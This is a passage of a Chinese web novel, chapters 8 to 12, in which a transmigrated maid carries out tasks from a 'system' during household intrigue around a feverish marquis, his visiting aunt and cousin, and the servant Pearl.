昌安毕恭毕敬道:“虽然您道不饿,但是晨起胃空,服温粥下肚,才能使气血畅通,所以奴才特意给侯爷盛了一碗来。”
裴执鹤听劝,给了他这点薄面,吃完了整晚,脸色果然好看了许多。
昌安又服侍他盥洗、更衣、熏香,末了裴执鹤嘱咐道:“记得送去汤药。”
昌安眼神闪烁,应道:“是。”
*
祝谣下午无事,补了个回笼觉,醒来后简单用了个晚膳,又拾掇了耳房,银星便挂满天幕了。
又是不眠不休的一宿,翌日,裴执鹤成功把自己做到发高烧。
8. 第八章
一把火在体内烧了三天三夜,裴执鹤显而易见地顶不住了。
府内在发现他浑身发烫后,赶紧招了府医医治,府外宫中得知消息,立即派了御医前往,同时,懿阳公主生前的好姐妹福安长公主带着女儿恭平郡主入住宁远侯府。
福安长公主的生母只是先帝后宫中一个不受宠的才人,而懿阳不仅是嫡出,还是先帝第一个孩子,十分得宠,养成娇蛮跋扈的性子。
照理说两人交集甚少,但福安愣是坚持跟在懿阳身后,即使出嫁,四季八节的礼从不落下,久了懿阳便待这个妹妹有几分真心。
懿阳走后,宫中贵人睹人思人,给她好姐妹加封为福安长公主,连同女儿封了恭平郡主。
从此福安往来宁远府愈加频繁,每年都会留下住一段时日,这回听到裴执鹤发热的消息,紧随其后住了进来。
侯府热闹了起来。
一有宫中来的侍女,二有侯爷的青梅竹马,三还有原本在侯爷身边伺候的下人。
众人都在看着侯府内的东风,最后会吹向哪儿。
要知道,裴执鹤既无娶亲,也无纳妾,后院可还没有一个真正有名有份的女子。
祝谣本来只看戏不掺和,毕竟神仙打架,小鬼遭殃,倒是连翘颇有大家长的风范,担忧院里其他丫鬟跟着站队,心散了,于是让她到院里明面上勤扫地,实则多盯着进出主房的人儿。
此时住房外正立着三位姑娘。
一个衣着较为低调内敛,但头上的碧玉簪子和腕间翡翠手镯,可窥见色泽莹润,不是凡品;两个衣着相同,更为青春鲜丽。
此刻三人之间的氛围也有些微妙,像是暴雨前的平静。
平静的打破是从小翠端着药出现开始的。
祝谣弯腰摆弄着扫帚,一边朝着院中靠近,一边抬头睄向阶台。
小翠会出现在这不算出奇,她找连翘兑现了承诺,讨了给裴执鹤奉药的机会。
只见本立在门前互相井水不犯河水的的姑娘们,俱将视线投射到小翠脸上。
玲珑率先道:“临近午时,两位姑娘可以先去歇息,这儿有我守着便好。”
玲珑现下与秋菊同住,但秋菊顾念小家,又瞧玲珑出身太后宫中,来头不小,届时即使裴执鹤病好了,可能也无诏不回宫,就此留下,于是主动分出了部分职权给她,故而玲珑也有底气开这个口。
绮罗脸色一变,却被云锦摁住,说:“郡主与侯爷青梅竹马,今个关心侯爷,派了我和绮罗过来伺候,我们便听主子的话,不离寸步。只是玲珑姑娘先以侯爷昏睡,不得吵闹为由,将我们留在了门外,眼下又要自己承起照料侯爷的重任,难免有些力不从心罢?”
玲珑不欲与她在口舌上逞功夫,遂将话头引向小翠:“怎么是你来送药?”
玲珑随裴执一同出宫,来到明鉴院,已经几日,足够她大概将院内奴仆的名字和人脸一一对上。
倒是小有姿色。
小翠定了定神,解释道:“秋菊姐姐有急事脱不开身,便让奴婢递了药过来。”
绮罗再憋不住气,拂开云锦的阻拦,直接上手接过药,哼声道:“这药可没下甚麽多余的东西在里边罢?”
小翠面上露出惊慌的神色:“奴婢不敢算计侯爷,秋菊姐姐是怎么端给奴婢的,奴婢就怎么原封不动地送过来,绝无动过手脚!”
绮罗本也是借着她指桑骂槐,无心听她的辩解,见药碗在自己手上,抬脚便要往里去,却被玲珑挡在身前。
“既然绮罗姑娘有疑心,那就更不能亲自去给侯爷喂药了,不然届时出了事,郡主便是有口,也替你说不清了。”
祝谣听着她们一来一回的唇枪舌战,只觉比话本还有趣些,不想下一刻,玲珑朝她招了招手:“你过来。”<
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祝谣顿了顿,这才发现自己离得有些近了,但也只能听从地走到几人面前。
玲珑继续道:“就让她去给侯爷喂药,她是侯爷院里的,知道分寸。”
模样老实,瞧着是个好的。
云锦蹙了蹙眉,终究没说甚麽。
——她家郡主虽与侯爷是青梅竹马,是表亲,但毕竟是在宁远府,其实并不好干涉太多,玲珑好歹是太后以打理后院为由,指到裴执鹤身边的,明面上自是挑不出错。
绮罗与她是两个性子,这下沉不住气,去找郡主告状。
云锦见人跑远了,也追不回来,便留下,朝玲珑浅笑道:“玲珑姑娘考虑周到,便让这丫鬟进去罢,我等在门外候着,若有事也能立即做出反应。”
“是这个理。”玲珑转而交代祝谣道,“喂药小心些,别让汤药撒出来,要是侯爷醒了,就过来告诉我们。”
小翠咬着唇,隐晦地向祝谣抛了几个眼神,但祝谣并未留意。
她顶着三人的目光,端着汤药平稳跨过门槛,耳边即刻响起系统毫无起伏的声音:“请照料裴执鹤,然后让其误以为是珍珠悉心照料了他。”
若是未有估错,这本古早限制文应该走的是上位者为下位者低头的套路,现阶段裴执鹤不愿承认自己对珍珠的情感早埋在心底,后面两人会越做越爱,由身及心,又在男女配角的助攻中,互通心意。
“怎么了?”
门半开着,玲珑见她迟迟未动,问道。
“奴婢有些怕。”回过神的祝谣,搬出一副敬畏于侯爷威严的模样。
玲珑心下满意,面上安抚道:“侯爷不会怪罪你的,快去罢,药凉了就不好了。”
祝谣犹疑地点了点头,慢慢挪动步子。
她走到床前,看着对外界浑然不知正昏睡着,紧闭口关的裴执鹤,思忖了会儿该怎么给他喂药。
9. 第九章
宁远府,鸣莱院。
“什么?!”恭平郡主拍桌而起,腮颊因激动染了层绯红。
她两手提起裙摆,作势要去明鉴院给玲珑吃个下马威。
福安长公主安坐一旁,搅了搅碗中羹汤散热,对于女儿冲动的行为熟视无睹。
她才吃进一口,恭平郡主将脚从门槛上方收回,转过身来,委屈道:“母亲怎么不拦着我?”
福安不疾不徐地咽下在自己家中吃不到的滋味,凉凉道:“你假扮久了懿阳那副嚣张的模样,可得仔细别真融进自己的性子里了。”
仿佛摁到了收放自如的机关,恭平瞬间敛起多余的神情,转变得更为内敛安静。
她坐到福安身旁的绣墩上。
福安看向犹有些忿忿的绮罗:“这儿无事了,你先下去罢。”
“长公主,玲珑她——”
绮罗以为福安未听清她的告状,还想再复述一遍,但瞄到自家郡主的眼神,立即改了嘴:“是。”
等房中只有母女二人时,福安平静道:“玲珑背后的靠山是太后,她虽对我们这些年来借着照看鹤儿的借口住进侯府睁一只眼闭一只眼,但打心底并不愿你成为宁远侯府的女主人,她的外孙媳。”
恭平垂下眼睫:“说到底是爹无用,如今的官位还是靠着母亲才得来的,我家世和相貌都不显,太后娘娘自然属意其他人选。”
福安的眸光落到恭平那张与自己肖像面容上,叹了口气,但很快抛开这点不足道也的情绪,颔首回应女儿说的前半句话:“你爹既享了好处,又要占据道德高位,在我面前摆出屈服接受的姿态,实在令人作呕。”
听到母亲不掩对爹的嫌恶,恭平并无太大反应,甚至习以为常,毕竟他们之间的不和,从她还小时就存在了。
“……我就指望你能嫁给鹤儿,之后我就搬到侯府住了。”
福安的视线从窗边的盛阳、博古架上的釉瓶、圆桌上的鲜花中逐个掠过——只有在这儿,她才能享受到家中不曾有的舒适和尊贵。
“那眼下该怎么办?”恭平问道。
“玲珑要照顾,便由她照顾,等鹤儿快要醒时,你再到床前占个位子,这般等他睁眼,就能第一眼看到你。”福安不以为意道,“况且那玲珑……还不如我们这种‘破落户’。鹤儿在太后眼中好似一块纯玉,最是完美无瑕,她决计不会允许外孙看上一个下人,因为那会成为鹤儿身上的瑕疵。”
恭平忽然问道:“珍珠是那个例外吗?”
福安听出她声音似乎有些低哑,推过莲子羹给她润嗓:“只是试刀石,你不知洛都前段时间传的有模有样的,什么鹤儿不近女色,是因为院中蓄养了许多绮年清秀的小厮,又什么不举,如今倒是全部洗清了猜疑。”
她从不避讳与恭平讲床笫之欢,故而轻易地提到了那些议论得煞有其事的流言。
恭平吃起剩下的莲子羹,不再说话。
她心里想的是:也不知为什么,从前觉得表哥洁若初雪,比拟为天上的皎月也当得,可如今看他沾上了房事,就像梨花落到泥土里,庸俗又肮脏了。
*
祝谣拍了裴执鹤两巴掌,只留下淡粉的痕迹,见他毫无反应,也懒怠恭敬对他,直接捏住他的腮颊,分开嘴,把药倒了进去。
许是灌得太急了,裴执鹤眼皮底下的眸子转了转,眼见他要咳起来,祝谣上下一捏,闭紧他的嘴唇,但见裴执鹤胸膛重重抬起,复瘪了下去。
她速战速决,药碗见底便出去了。
大约耗费时间甚短,祝谣出去时,绮罗还没回来,云锦略带惊讶,玲珑则是朝她满意地笑了笑,小翠不知道去哪儿了。
祝谣坦然自若地从她们中间穿过,把碗放到小厨房门口,又去洗了洗手。
祝谣心下思量,把珍珠送进房中服侍裴执鹤,怕是比登天还难,但是顺走一件珍珠的贴身衣物,悄悄藏到裴执鹤的被窝里,却容易许多。
依照男女主之间必会互相吸引的定律,裴执鹤在发现床上多了件明显是女子的物件后,定会去找这东西的主人。
一旦发现所属珍珠,那他肯定会多想,认定暗中照料他、却在他烧退后默默离去的就是珍珠。
可是该怎么拿到贴身衣物呢?
祝谣来到樊婆子的地盘。
此处是明鉴院的角落,墙中有一竹管探出,不晓得是哪位匠人做
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的工程,将山中泉水引流至此,揭开扣紧的筒盖,便有汩汩不断的清泉冒出,不仅能拿去泡茶漱口,还能如眼前这般,由樊婆子取来洗衣。
万恶的有钱人真是自古有之。
祝谣看樊婆子正在搓洗衣裳,便想帮她一把,待会也好开口打探消息,不承想樊婆子见了她,立即摘下银戒塞进胸口,没好气道:“蝉儿姑娘平日事忙,怎么有空光临老婆子这儿?”
趁着她转身之际,祝谣顺势扫了扫盆里的衣裳,看样式皆是男装。
看来从樊婆子这儿是拿不到珍珠的衣物了。
既然山不就我,那我就山,祝谣立即改变策略,计划借收衣裳的由头,亲自去珍珠房中一遭。
樊婆子见祝谣自来时,那双眼睛就不老实,四处乱瞟,末了竟连盆子都想顺走,马上撇下手中的活计,警惕道:“你想做什么?”
不能拿木盆,那就拿木桶,祝谣扭头就走。
她提了个桶子,来到红萍院,随意挑中西边的一间厢房,甫靠近,便听到有谈话声传出。
“海棠……你……挑唆……药!”
好像是不得了的事情。
祝谣歘地蹲下身,免教影子映照在窗子上,被里边的人发觉,紧着又是一道熟悉的声音,带着哭腔:“不是……”
好奇害死猫。
祝谣不敢再听,依旧维持着深蹲的姿势,俄而一步步朝外挪动,直至离厢房有七八步远,才站起身,走了出去。
既然珍珠房中还有旁人在,想来一时也腾不出空,祝谣便先回去了明鉴院。
她又找到樊婆子那儿,打算给自己寻些事情做,打发时间。
“你这木盆能不能借?”祝谣开门见山道,“我没钱。”
樊婆子上下打量了她几眼,隐晦地飞了个白眼,不情不愿道:“可巧猪胰皂快用完了,蝉儿姑娘若能替我拿几块回来,木盆随便你使。”
祝谣爽快应下。
及至匆匆赶往采买处的路上,祝谣才想明白,为什么自她从主卧出来,到几进几出明鉴院,这兜兜转转之中,总莫名给她一种熟悉的感觉……
这不就是找npc接任务,然后跑图吗?
10. 第十章
猪胰皂要到采买处领取,祝谣先是去寻连翘讨了明鉴院的令牌。
侯府半月采买一次,今日是月末正式采买的前一日,有些东西已见底,猪胰皂竟也剩最后一块。
——原来是前段日子时不时下雨,最近难得放晴,不少奴仆都清洗棉被棉衣,打算晾晒过后便收起来了。
分发物资的是个青年人,一身浆洗到白的天蓝色长袍,头戴幞头,满身书卷气,半点没沾染上采买管事的市侩和油腻。
祝谣依着他的意思,往册子上摁手印留档,又等他抄抄写写一通后,才拿到猪胰皂。
皂块离近了闻,还有股淡淡的松叶香。
她向外走去时,恰好和一个衣着朴素,但面貌干净精神的老奴擦肩而过。
祝谣鬼使神差地放缓步子,知道那老奴也是来讨要猪胰皂的,心思一动,出了院门,站去了近处可遮阴的树底下。
等了一会儿,见到老奴的人影,祝谣假装经过院门,不小心从身上掉下了一块油纸包着的东西,满脸心疼地弯腰捡起来。
董叔虽随孟辰良住进了侯府,但是亲自服侍孟辰良的习惯改不了,而且自从有回听了郎君的劝,难得休息一日,将一筐衣裳拿去给洗衣婆子,却额外收到好几条女子手帕后,他愈加不敢放手,由婆子经手孟辰良的换洗衣物。
今日他把压箱底的衣裳都拿出来泡洗,结果猪胰皂快用没了,来采买处也没领上。
那分发物资的青年人大概不擅应付这种突发状况,明显慌乱起来,不过董叔除了疑惑侯府怎么选了个后生管事之外,也无意为难他,安抚了几句,便打算自行出府买。
只是刚出院门,就见到完好的猪胰子碎成两瓣,董叔着实心疼了下。
祝谣的面上适时浮现出难为的神情,董叔停下脚步,上前摆出关心小辈的和蔼模样,询问道:“这是怎么了?愁眉苦脸的。”
“管事托我买块香胰皂,现在摔成这样,定要骂我了。”祝谣真假参半,低落道。
董叔关心道:“这胰皂你花了多少钱?”
祝谣小心地看了看四下,带着董叔走远了些,才小声道:“管事给了我五十文,但我有路子,只花三十文就买到了好货。”
董叔登时在心底算起数来。
从前他为了节省,都是买十五文的普通胰皂,只能说是可以去污,再将将带点若有似无的香味。
这回若是从丫鬟手上要到三十文的猪胰皂,倒是耐用,能顶两块普通胰皂,而且起泡快,香味也更好闻,是笔不亏的买卖。
他搓了搓手,露出友善的笑意:“我瞧瞧你这胰皂,要是品质过得去,我出钱买下怎么样?你将得来的钱再凑起来,买块新的,就能给管事交差了。”
祝谣犹豫几息,点点头,偷摸着低下身去,将油纸摊开,让他验货。
董叔也有些紧张,赶紧用手捏了捏,又放到鼻子下嗅闻,便把油纸给包上。
“能再便宜点吗?”他比了个数。
祝谣攥紧纸包,收回手,皱眉道:“这价已经很良心了,要不是我急着出手,平日给别人我都是卖四十文的。”
董叔晓得这些生意人的说辞,对半砍价都还有得赚,故而不信她,继续道:“旁人虽说要出四十文,但能得到块完整的胰皂,现下你这手上拿着的都裂开了。这样罢,我也不为难你了,再便宜十文!”
“不行,只能五文。”祝谣让了小步,推心置腹道,“我走熟人的路子拿货,总得舍点好处出去罢?咱们互相体谅,今回实在是事出有因,下次要有好货,我一定给你便宜点。”
董叔不依不挠道:“别提下回,就这回,真的不能再低点?”
祝谣不惯着他:“我瞧您长得慈眉善目的,还以为是老天看我可怜,派您来救我于水火,不承想是趁机打劫的!”说完,作势抬腿。
董叔被打个措手不及,紧忙拉住祝谣,软声道:“欸,欸,是我的错,姑娘家家的,别恼,三十文就三十文,不变了!”
祝谣勉强答应。
董叔从兜里摸出三十个铜子,当着祝谣的面数清,两人一手交钱,一手交货,随后默契地错开前后,相继离开。
祝谣这般空手套白狼,得了三十文,心里有点美。
不过估摸时间,该去趟红萍院了。
祝谣直接拎上桶子,便不回樊婆子那儿了——洗衣毕竟是樊婆子的活计,她不可能不提前备下猪胰皂的。
这回顺利进去珍珠住着的厢房,只见她埋头做着绣活,分不出心,祝谣道明自己是来收脏衣服的,她随意一指。
珍珠眼眶泛红,显然是哭过的。
祝谣并不多问,拿齐衣裳退了出去。
走到半道,她寻了个角落,翻了翻桶子,共有上衣、裙子、长裤和袜子这四件。
前三样不是太长就是太大,极易被发现,后一样……祝谣想象裴执鹤情不自禁低下高贵的头颅,闻的却是一双袜子,好像也太奇怪了。
午时已至,灶房烧火,炊烟袅袅。
祝谣把脏衣服送到浆洗处,便先去提饭,顺道要到了珍珠的那份膳食。
快到红萍院的时候,昌安拦住了她。
“你是往哪去的?”
“到红萍院去送午膳。”祝谣的眸光倏地落到他手中提着的食盒上。
昌安稍显不自然地扯了扯嘴角,顷刻恢复寻常:“这是府医给珍珠姑娘开的调理身子的药,我毕竟是男子,不便亲自送药,还要麻烦你跑一趟。”
祝谣问道:“那我便如实转告给她。”
昌安暗自松了口气,颔首道:“记得必须亲眼看着珍珠姑娘将药喝完,都是名贵中草药熬煮的,有利女子……不能浪费。”
“好,我知道了。”
祝谣接过来,见他还立在原地,朝他投去询问的眼神。
昌安摆摆手,走开了。
祝谣一边想着这食盒里的药是否有什么古怪,不然昌安怎么会魂不守舍的,还没发觉她一个明鉴院的洒扫丫鬟跑来红萍院有多不妥,一边敲响木门。
“进来罢。”
珍珠放下针线,揉了揉后颈,却见来人是祝谣,稍稍感到诧异:若她没认错的话,对方分明是明鉴院里的,怎么会帮着送饭到红萍院?
下一刻,祝谣接连端出几碟小菜,一碗白米,以及一碗黑黢黢的中药。
珍珠食不知味,好容易咽了几口饭菜,再不想吃了。
她放下木箸,盯着那碗药:“这是……谁的意思?”
显然她并不相信这只是碗调理身子、有助生子的补药,但祝谣只能如实转述昌安的原话。
珍珠听罢,蹙起眉
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头,似乎有些无措。她踌躇着看向那碗药,始终不敢伸手去触碰。
这时祝谣忽然开口道:“当下你想怀孕吗?”
珍珠诧异之外,仔细思索后,缓慢而坚定地朝祝谣摇了摇头。
祝谣确定了珍珠的意愿是不愿有孕,便一把端起瓷碗,推开窗牖,剥开芭蕉的扇叶,将汤药浇到土里。
珍珠和祝谣心照不宣,明面上她是拒了补药,实际却是逃避服用避孕药。
只是在祝谣这里,还多了层考量。
反正珍珠在原书中便是极难有孕但不影响健康的特殊体质,即使不喝避孕药,也不会闹出人命,倒药事后被发现的风险大大降低。
另外,这种避孕药的成分不明,难保喝了不伤身,最好能不喝就不喝,因此祝谣冲动了一回。
路人甲虽然要以保住小命为重,但是也有自己的原则和操守,譬如她见不得珍珠吃这种不必要的苦。
将碗里的汤药倒掉,祝谣留了点渣子,转过身,只见珍珠正望向她,眼眸中掺杂着感动。
祝谣对旁人展现出的充沛的情感容易过敏,避开视线,自顾自收拾起碗筷。
“等等。”珍珠握着帕子,指了指她腰间不小心被撒出的药水沾湿了的痕迹,“我替你擦擦罢。”
祝谣眼睛一亮,帕子得来全不费工夫,让开位子,由她擦拭。
珍珠见她只因自己做了这么件小事,便如此高兴,手上的动作愈加轻柔。
“好了。”她微微笑道。
祝谣眼疾手快地抓住珍珠欲收回的帕子:“都脏了,给我罢,我洗干净了再送还给你。”
珍珠心觉祝谣端的善良,却也不好一直麻烦她:“不碍事的,还得累你跑一趟。”
“其实我是觉着你帕子上边的小花绣得好看,想拿回去临下花样。”祝谣换了个说法。
珍珠笑道:“这是阳蝶花,既然你喜欢,便拿去罢,只要你不嫌弃。”
“不嫌弃。”祝谣将手帕叠好,放到衣襟内,“谢谢,我先去忙了。”
珍珠看她一刻也不停歇,到底没将“日后有空,可以来寻我吗?”这类话道出口,只是眼睛追随着祝谣,像是蝴蝶似地飞出了沉闷的宅院。
*
入夜,兰羲园。
屋中没有外人,孟辰良向来要求董叔与他一同坐着用膳。
董叔吃饭时不是个能闲住嘴的,他扒拉几口饭,嚼得差不多了,悄声道:“郎君,你猜老奴今日花了多少钱买到一块上好的胰皂?”
孟辰良给他挟了块糖醋排骨,配合道:“六十文?”
“一半!只花了三十个铜子便买到了!”董叔满面笑容道,“多亏了老奴遇到个在外边有门路的丫鬟,才占到这便宜。”
孟辰良心中对侯府里竟有人做生意感到稍许惊诧,不过转念一想,宁远府再是富贵,那也是主子的财产,仆役做这等买卖应是为了生活,便没说甚麽。
董叔这般节俭,是一片好心。
孟辰良见陪伴在身旁多年的长辈,仅仅因少花了点钱财便喜笑颜开的,自入侯府以来,这还是头一回,也不扫兴,道:“以后若是遇见那个丫鬟,可以问问有无旁的物件卖。”
“来。”董叔掐出青菜上最脆嫩的部分,放到孟辰良碗中,尔后应道,“老奴都听郎君的!”
11. 第十一章
祝谣睡饱了觉醒来,晨光已经透过窗扉照了进来,她的脸颊被晒得又红又烫。
今日连翘承包了她的活计,反正裴执鹤躺在床上,适当偷偷懒,是打工人该有的福利。
祝谣慢悠悠地起床洗漱,往牙刷子上多洒了点牙粉,磨磨蹭蹭花了一刻钟左右,才洗净手回到耳房。
房内小桌上摆好了早膳,有肉包,蛋饺,两碗掺有绿菜叶的清粥。
连翘两颊的酒窝显现出来,招来祝谣一起吃。
祝谣尝试夹了个大肉包,连翘扫了眼,没有挑开她的筷子。
祝谣安心咬了一大口,嚼嚼嚼。
“侯爷恢复得很好,要不了多久便能清醒。”连翘喜悦道。
但这对祝谣来说,不是个好消息,珍珠的手帕她还没藏进主卧。
祝谣不禁感慨,连翘真是天选打工人,竟然如此盼着领导醒来,不过想想她的职务,只有多在裴执鹤面前露脸,才能稳定自己的地位,倒也能理解。
祝谣吃完早膳,还蹭到杯茶。虽然她不会品鉴,只会给出好喝或不好喝的评语,但要知道的是,平时她只能喝凉白开,这会子却尝到了名贵的茶叶,怎么不算薅主子的羊毛呢?
假若裴执鹤再多躺会儿就好了,也许还能爆银子。
祝谣小口抿着尚冒着白汽的茶汤,开始琢磨该怎样将帕子放进去。
昨日她被揪去喂药只是个小概率事件,后来喂药的人选果然就换成了昌安。
这是个大家都会满意的选择,祝谣不可能钻到空子再进去,掐着裴执鹤的两腮灌药。
昌安。
祝谣又默念了一遍。
她放下茶杯,抄起自己的老伙计扫帚,来到主房外,倒是不见玲珑和另外两个郡主的侍女在门前守着了。
祝谣不能直接去昌安的住处寻他,那样目标太明显,但是她可以在院内守着昌安出来,寻机会接近。
老天眷顾,祝谣等了一会儿,昌安便端着药从别处走来,进去卧房。
她耐心地找出连翘落下的脏污,清扫干净,花草丛中和树干上的蝉声嘶力竭地叫着。
日头愈发毒辣,祝谣躲到树荫下乘凉,身上的汗液和热量得到缓解,因为干活干得迅速,此刻无所事事,她等得有些昏昏欲睡。
迷迷糊糊之际,昌安出来了。
祝谣跟了上去,只见他先是回了小厨房,归置了碗勺,然后出了明鉴院,随意走着,似乎并没有一个目的地。
然而他又总是会在开得绚丽的花丛前停下脚步,然后嗅闻,左右脑打架之后,遂放弃,继续向前,直至看到下一簇鲜花,重复之前的举动。
这是在干嘛?
祝谣不远不近地缀在昌安身后盯着。
终于,他在一丛曼丽花朵前停下,几乎没有任何犹豫,直接摘了一,二……九朵花。
那花颜色鲜艳,像是相机里拉满饱和度的滤镜下呈现出来的,每片花瓣圆而大,均为三色。
祝谣觉得有些眼熟。
她想了想,从衣襟里掏出珍珠的帕子,看了看角落的绣花,复抬头眯眼对比了会儿昌安手中的花,确定是同一种。
有情况。
祝谣继续尾随昌安,大抵是太想知道他接下来要将花带到哪儿去,跟得急了些,踩到块松动的石块,发出了声响。
昌安特意避开府中有人活动的院落,现下走在条小道上,周遭并无旁的仆人,这声动静使他一下惊觉,回头张望,却什么人也没看到。
忽然“喵”的一声,一只皮毛顺滑光亮的黑猫从树后翘着尾巴,慵懒地打横经过。
昌安笑了笑,想摸摸黑猫的头,却被它咻地躲过。
他见猫钻入草丛,没起疑心,拢住手中的花,起身继续走着。
黑猫转了一圈,又回到树后,祝谣正蹲在这,她认出这猫是她之前爬进小厨房下合欢散那夜出现的,此回虽然情形不紧张,但也是帮她转移了别人的注意力。
真是只好猫。
黑猫主动蹭到祝谣身边求摸,喵喵叫个不停,祝谣被黏得给她拍了屁,好容易抽出被迷得五迷三道的脑子,记起要追人。
她起身前,多看了眼黑猫高高翘起尾巴,露出的屁股,其下挂着两颗不小的荔枝,围绕着球体的毛是白色的。
祝谣手贱地撸了撸,趁它炸毛前赶紧跑了。
原路已经见不得昌安的身影,祝谣凭直觉左拐右转,在小亭见到被另一个小厮调侃着的昌安。
“哟,这花要送给谁去?别说是寄去乡下,给你的老母亲。”
“不是,是摘来送给妹妹的。”
昌安出乎意料地认真回答了他的问题,祝谣竖起耳朵。
“妹妹?我怎么不知道你还有个妹妹?不会是情妹妹罢?”
“是妹妹,我将她当作亲妹妹照顾的。”说完,昌安锤了下他的肩,转口道,“你最近不是愁该怎么让小红开心吗?花开得这么好,还不摘些送去。府中自行生长的花草多的是,只要你不说,我不说,无人晓得这花是从府里取的。”
一打岔,小厮也顾不上调侃,直呼有道理,回锤了下,也低着头寻花去了。
祝谣不敢再掉以轻心,像钓鱼佬见到上钩的鱼儿一样,一步不落地跟着昌安,最终到了红萍院。
果然,昌安和珍珠是有私交的,而且这个交情不浅——不管昌安是出于单纯分享美丽的事物,还是因为昨日送了避孕汤而感到愧疚,亦或是从前的习惯使然的目的,总之昌安会主动做会令珍珠开颜的行动。
这就很不一般了。
她倏地想到此刻仰躺在榻上的裴执鹤,扮演的是什么角色?
好难猜啊。
祝谣又驻足等了会儿,但见昌安小心地绕到院落另一边的窄道,极轻微地扣了几下窗框。
窗户很快从里边打开,从祝谣的角度看不分明屋内人的长相,但是女子头上的簪子让她分辨出,那就是珍珠。
昌安从窗户递进阳蝶花,不知说了甚麽,尔后轻手轻脚出了院子。
眼见着四周又只剩下他们二人,祝谣深吸了口气,鼓足气,追了上去,在昌安的身后拍了拍他的肩。
昌安下意识回头
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,见到她时,感到稍许疑惑:“蝉儿?”
祝谣直言道:“我看到你给珍珠送花了。”
昌安脸色一变,心中猜测她是意外看到还是……跟踪了他?
如果是后者,那他觉得往日觉得祝谣老实是他的错。
昌安谨慎问道:“你想做什么?”
祝谣奇怪于他一副被辜负的神情,见他未有反驳和遮掩,清了清嗓,压低声音说:“昌安,你也不想你的情妹妹失去,呃,被人发现与你有私情罢?”
昌安听毕,皱眉向她解释道:“我们之间不是你想的那种关系,珍珠是个好姑娘,请你保守今天看到的一切,不要说出去。”
祝谣即刻顺杆爬说:“说出去谁信?不过——我也不是不能替你保密,说出去我也没什么好处,毕竟你的位子我不可能顶替。只是要想我保密,那你就需要帮我做一件事。”
昌安顿了顿,没有答应:“我不会帮你做坏事的。”
祝谣保证道:“不是让你作奸犯科,而且绝对在你能力范围之内。”
再次确认一遍后,昌安才点头——有利益交换,秘密才能守得更严。
祝谣迅速掏出珍珠的帕子,说:“我需要你将这个,藏到侯爷的枕下,你敢答应吗?”
昌安的眼睛倏忽张大,一时摸不清祝谣想做什么,但从字面上理解,似乎是想在侯爷那儿留下珍珠的痕迹,于是踌躇一番后,他将心底的疑惑问出了口。
“你先回答我,这件事对你来说可以做到吗?”祝谣反问道。
昌安很快给出肯定的回答。他在裴执鹤身边伺候的时候不短,进出主卧并不难。
“你必须在午时之前将帕子藏好。”祝谣给他上难度。
昌安只考虑了几息,依旧给出了相同的回答。
他本来与珍珠失散多年,意外于侯府中相认,便决定一定要尽自己所能,助她跃得更高。
“好。”祝谣见他毫不犹豫,也随口胡诌了个借口,让他觉得彼此都是站在一条船上的。
不过好奇是人的本性,她见昌安待珍珠如此真诚,心里难免升起一丝好奇:昌安与珍珠到底是什么关系?真的是兄妹吗?
祝谣暗自打量了昌安的五官,同珍珠无半分相似之处。
祝谣将帕子交给了昌安,像是交了枚勋章,两人都有些严肃。
“记住你要做的是什么了吗?”
“记住,放心,我绝对不会让人发现的。”
“好,我相信你,去罢。”
“嗯。”
“等等,要是你被人发现的话……”
“我不会把你供出来的。”
昌安弯着腰穿过廊道,及至走过月洞门,光影明明暗暗,映照在他的面容上,他这才反应过来,直起身子,觉得自己真是傻了,方才被祝谣影响,好端端地跟个贼似的。
他得表现出从容的姿态。
祝谣目送昌安走远,呼了口气。
这可是她即将完成的第二个任务,也不是很难嘛。
她内心膨胀道:做任务简单,太简单了。
12. 第十二章
裴执鹤觉得自己的意识已经在云端飘了许久,原先还似有柴火在底下焚烧,浓烟重重,熏燎得他睁不开眼。
不知过了多久,脸颊忽然传来轻微的疼痛,挤压着他的腮肉,磕碰到了臼齿,他尚未弄清是怎么回事,下一瞬嘴唇被强硬分开,一碗药汤猛地灌了进来,差点呛死他。
即便他无法亲眼看到给他喂药的是谁,但这举动怎么解释,都不像是一个下人该有的姿态。
裴执鹤从小生得粉雕玉琢,母亲偶尔来了兴致,给他套女裙,扎丱发,带进宫中,太后都分辨不出来他是男童,只抱在怀里亲香个不停。
他生在安富尊荣的侯府,所有人都待他十分小心,在父母双双亡故后,他们谨慎的心思里又掺杂了怜惜,是以几乎无人会拒绝他的任何一个要求。
他习惯了众星捧月的感觉,乍然遭遇被人轻视的情形,相比于诧怪,他的内心里更多的是被人冒犯的恼怒。
可是药效来得太快,他彻底昏睡过去,失去了所有力气和手段。
这一觉似乎很是平和,仿佛浮在月光照耀下的湖面上,宁静清幽。
再醒来时,他恢复了清明的意识和正常的力气。
裴执鹤一睁开眼,忽然头脑一阵发晕,天地在颠倒和旋转,半晌才看清眼前的景象——姨母福安长公主坐在绣墩上,紧挨着床榻,身子微微前倾,正给他擦拭额头的汗液;表妹则立在姨母身侧,面上挂着的是与姨母一般的担忧。
“表哥,你好些了吗?”恭平见他看过来,揪着锦帕,蹙眉问道。
裴执鹤刚要开口,喉咙发痒,泛了股中药的苦味,咳嗽了几声。
“还不扶你们家侯爷起来?”福安不悦道,“水!赶紧拿水来!”
充当背景板的下人们立时动了起来,有条不紊地遵着福安的吩咐。
玲珑站在偏后的位子,最先接过温水,递了茶盏,福安碰了碰杯壁,不满道:“这么烫怎么喝?”
说着,随手塞回去,接了云锦递来的另一杯水,朝裴执鹤柔声道:“来,润润嗓子,小心点。”亲自喂水到他口中。
玲珑虽说是从太后宫中出来的,即便是皇帝身边的太监,也得给点薄面,但上了年纪的人惯难伺候,因此早锻炼出强大的心脏和收放自如的情绪。当下被下了面子,她依旧能神色平常地退到一旁,让人跳不出错处。
她想,此时还是莫要生事,免得裴执鹤对她留下不好的印象。
裴执鹤缓过气来,脸上有了点血色:“劳烦姨母和表妹过来,这点小病实属不该惊动你们。”
“你身子素来康健,偶尔生场病,散散体内郁气也是好的,正好我也无事,便过来看看你。你只管安心养病,府里一切正常。”福安安慰道,“你还有没有哪出不舒服的?”
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裴执鹤:“多谢姨母,我身上暂无不适的地方。”
福安给他掖了掖被子:“嗯,那就好,看来余毒都跟着发热散了出去,不过保守起见,你现在还不能沐浴净身,过了明晚再说。”
裴执鹤眉头微动,到底没反驳,只是也应不下声。
“好了,好了,让昌安给你擦擦身子,到时候你累了就睡,很快就忍过去了。”福安无奈道,“这窗户也要开几扇通风,但到夜间就不能留那么多。”
福安交代完照顾需注意的细节,恭平便端了碗绿豆汤,说:“表哥,这是我自己亲手做的绿豆汤,里边放了陈皮,我问过府医,道是可以吃。”
